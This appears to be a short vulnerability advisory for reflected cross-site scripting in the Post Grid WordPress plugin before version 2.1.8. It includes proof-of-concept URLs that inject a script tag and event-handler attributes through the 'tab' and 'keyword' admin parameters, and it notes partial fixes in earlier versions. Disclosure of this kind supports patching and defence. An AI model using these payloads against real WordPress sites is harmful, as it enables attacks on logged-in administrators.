Post Grid < 2.1.8 - Reflected Cross-Site Scripting (XSS)

Description

The slider import search feature and tab parameter of the plugin settings are not properly sanitised before being output back in the pages, leading to Reflected Cross-Site Scripting issues

Proof of Concept

https://example.com/wp-admin/edit.php?post_type=post_grid&page=post-grid-settings&tab="><script>alert(1)</script>
https://example.com/wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(1)//

v 2.1.4 partially fixed the issue, still allowing arbitrary attributes to be injected, ie
https://example.com/wp-admin/edit.php?post_type=post_grid&page=post-grid-settings&tab="+accesskey=X+onclick=alert(1)//

v2.1.5 removed a lot of escaping done in 2.1.4, and was put back in v2.1.8